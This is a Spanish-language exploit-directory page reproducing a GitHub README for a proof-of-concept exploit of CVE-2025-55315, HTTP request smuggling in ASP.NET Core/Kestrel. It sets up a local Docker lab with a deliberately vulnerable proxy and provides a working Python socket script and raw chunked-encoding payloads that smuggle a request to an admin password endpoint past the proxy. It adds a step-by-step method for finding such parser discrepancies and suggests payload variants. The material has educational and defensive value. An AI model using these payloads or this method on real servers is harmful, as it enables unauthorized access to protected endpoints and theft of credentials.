Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55315 — Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables. | Kitploit
Herramientas/GitHubGitHub/martinfabianionut/cve-2025-55315
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

1hace 8 mesesAún no revisado

Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

Compartir

CVE-2025-55315

Explotación de prueba de concepto para CVE-2025-55315 (Contrabando de solicitudes HTTP en .NET). Demuestra cómo la codificación fragmentada (chunked encoding) mal interpretada permite a atacantes introducir solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

📊 Presentación

Ver presentación interactiva en Prezi

Prezi Presentation

🎥 Haz clic en la insignia de arriba para ver la presentación interactiva completa en Prezi

Estructura del Proyecto

  • Api - API consolidada de ASP.NET Core con dos Dockerfiles:
    • Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerable a CVE-2025-55315)
    • Dockerfile.patched - Usa .NET 10.0.100 (versión parcheada)
  • PythonProxy - Proxy vulnerable utilizado para la demostración del exploit de CVE-2025-55315 (favorece Content-Length sobre Transfer-Encoding)
  • YarpProxy - Proxy inverso YARP para probar balanceo de carga (no parte del exploit)

Nota: La vulnerabilidad está en el analizador HTTP del runtime de .NET (Kestrel), no en el código de la aplicación. Ambas versiones usan código fuente idéntico pero diferentes versiones del runtime de .NET.

Inicio Rápido

root@kitploit:~
# Construir y ejecutar todos los servicios
docker-compose up --build

# Acceder a los servicios
# API insegura: http://localhost:5001
# API segura: http://localhost:5002
# Proxy Python (exploit): http://localhost:5027
# Proxy YARP (balanceo de carga): http://localhost:5028

Consulta DOCKER.md para instrucciones detalladas de uso de Docker.

Demostración del Exploit

El proxy Python demuestra CVE-2025-55315 al favorecer Content-Length sobre Transfer-Encoding, permitiendo el contrabando de solicitudes HTTP:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Leer todos los datos disponibles
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Respuesta Completa ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Comprobando respuesta de solicitud de contrabando ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ ¡Solicitud de contrabando a /passwords/admin exitosa!")
    else:
        print("✗ Exploit falló o fue bloqueado")

Este payload introduce una segunda solicitud a /passwords/admin evadiendo la verificación de seguridad del proxy, explotando la discrepancia en cómo el proxy y el servidor backend analizan la solicitud.

Interpretación Visual de la Solicitud

A continuación, se muestra cómo el proxy y el servidor backend interpretan el mismo payload de manera diferente:

Diferencias Clave:

Explicación Detallada:

  • Proxy: Acepta 2;\n como una declaración de tamaño de fragmento válida (2 bytes) → Lee xx como el cuerpo del fragmento de 2 bytes → Pasa al siguiente fragmento (39)
  • Backend: Rechaza \n como terminación de línea → El tamaño del fragmento sigue siendo 2 pero la cabecera se extiende hasta 2;\nxx\r\n → Lee 39 como parte del cuerpo del fragmento → 0\r\n termina el fragmento
  • Resultado: La solicitud de contrabando GET /passwords/admin está oculta en lo que el backend trata como datos de fragmento, pero se analiza como una solicitud separada después de que el procesamiento de fragmentos finaliza

La solicitud de contrabando GET /passwords/admin está oculta en lo que el proxy cree que son datos del cuerpo del fragmento, pero el backend la analiza como una solicitud HTTP separada.

Identificando la Vulnerabilidad

Antes de explotar, necesitas identificar qué cabecera HTTP (Content-Length o Transfer-Encoding) favorece cada componente. Aquí tienes una guía paso a paso:

Paso 1: Probar la Prioridad de Cabeceras

Envía una solicitud con ambas cabeceras Content-Length y Transfer-Encoding: chunked para ver cuál respeta cada componente:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Análisis:

  • Si el servidor procesa "Fa" (2 bytes) → Favorece Content-Length
  • Si el servidor procesa "Fabian" (cuerpo fragmentado completo) → Favorece Transfer-Encoding

Paso 2: Probar Cada Componente

Prueba todos los componentes en tu arquitectura para encontrar discrepancias:

Probar API Insegura (Puerto 5001)

root@kitploit:~
# Usando Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Respuesta de API Insegura:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Probar API Segura (Puerto 5002)

root@kitploit:~
# Cambia el puerto a 5002 y prueba
# La API segura debería manejar el conflicto correctamente

Probar Proxy Python (Puerto 5027)

root@kitploit:~
# Cambia el puerto a 5027
# El proxy Python favorece Content-Length (vulnerable)

Probar Proxy YARP (Puerto 5028)

root@kitploit:~
# Cambia el puerto a 5028
# Prueba cómo YARP maneja el conflicto de cabeceras

Paso 3: Usar Burp Suite para Pruebas Manuales

  1. Interceptar Solicitud: Captura una solicitud POST normal a /passwords
  2. Modificar Cabeceras: Añade ambas cabeceras manualmente:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. Establecer Cuerpo: Usa el formato de codificación fragmentada:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. Comparar Respuestas: Envía a diferentes endpoints y analiza qué porción del cuerpo procesa cada uno
  2. Identificar Discrepancia: Si el proxy lee 2 bytes pero el backend lee el fragmento completo, tienes una vulnerabilidad de desincronización

Paso 4: Crear el Exploit

Una vez que identifiques:

  • Proxy: Favorece Content-Length (lee solo N bytes)
  • Backend: Favorece Transfer-Encoding (lee el cuerpo fragmentado)

Puedes introducir una segunda solicitud que el proxy nunca ve pero el backend procesa.

Paso 5: Verificar el Exploit

Ejecuta el payload completo del exploit (ver sección "Demostración del Exploit" más arriba) y confirma:

  • Primera respuesta: Resultado POST normal
  • Segunda respuesta: Datos del endpoint admin (solicitud de contrabando exitosa)

Herramientas Recomendadas

  • Burp Suite: Creación manual de solicitudes y manipulación de cabeceras
  • Python socket: Control de bajo nivel para formateo HTTP preciso
  • curl con --data-binary: Pruebas rápidas desde línea de comandos
  • Wireshark: Análisis a nivel de paquetes para ver exactamente qué recibe cada componente

Variantes Alternativas del Exploit

El exploit puede crearse de múltiples maneras. Experimenta con diferentes enfoques:

Con Content-Length Explícito

root@kitploit:~
# Añade Content-Length para hacer la desincronización explícita
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... resto del payload
)

Por Qué Funciona Sin Content-Length

  • Proxy: Acepta \n como terminación de línea válida → Trata 2;\n como tamaño de fragmento → Lee 2 bytes (xx)
  • Backend: Rechaza \n → La cabecera del fragmento se extiende hasta 2;\nxx\r\n → 39 se convierte en cuerpo del fragmento → 0\r\n termina el fragmento
  • Resultado: Solicitud de contrabando oculta en el cuerpo del fragmento, analizada como solicitud separada por el backend

Ideas para Experimentar

Prueba diferentes escenarios de desincronización modificando PythonProxy/proxy_server.py:

  • CL.TE: Proxy usa Content-Length, backend usa Transfer-Encoding
  • TE.CL: Proxy usa Transfer-Encoding, backend usa Content-Length (intenta crear tus propias APIs)
  • TE.TE: Ambos usan Transfer-Encoding pero lo analizan de manera diferente (como \n vs \r\n)

Experimenta con:

  • Diferentes tamaños y formatos de fragmentos
  • Múltiples solicitudes de contrabando en secuencia
  • Varios métodos HTTP (GET, POST, PUT, DELETE) - puedes añadirlos en las APIs
  • Espacios en blanco y caracteres especiales
Descargar herramienta

INTERPRETACIÓN DEL PROXY (Acepta \n como terminación de línea válida):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Solicitud 1 - Vista del Proxy"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>cabecera de fragmento (acepta \n)</i>"]
        PCB1["<b>xx</b><br/><i>cuerpo del fragmento - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>cabecera de fragmento</i>"]
        PCB2["<i>cuerpo del fragmento - 57 bytes</i><br/>(contiene solicitud de contrabando)"]
        PLK["<b>0</b><br/><i>último fragmento</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignorado por el Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(El proxy cree que esto es parte del cuerpo del fragmento)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRETACIÓN DEL BACKEND (Rechaza \n, requiere \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Solicitud 1 - Vista del Backend"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (inválido - parte de cabeceras)<br/><b>xx</b> (cabeceras terminan aquí)"]
        BCB1["<b>39</b><br/><i>cuerpo del fragmento</i>"]
        BLK1["<b>0</b><br/><i>último fragmento</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Solicitud 2 - Vista del Backend"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>último fragmento</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
ComponenteTamaño de Fragmento 2;\nBytes LeídosQué Sucede
Proxy✅ Tamaño de fragmento válido2 bytes (xx)Trata 2;\n como cabecera completa de fragmento, lee 2 bytes, continúa al siguiente fragmento
Backend❌ Terminación de línea inválidaSigue leyendo como fragmento de tamaño 2La cabecera del fragmento no termina hasta xx\r\n, por lo que 39 se convierte en el cuerpo del fragmento, 0 termina el fragmento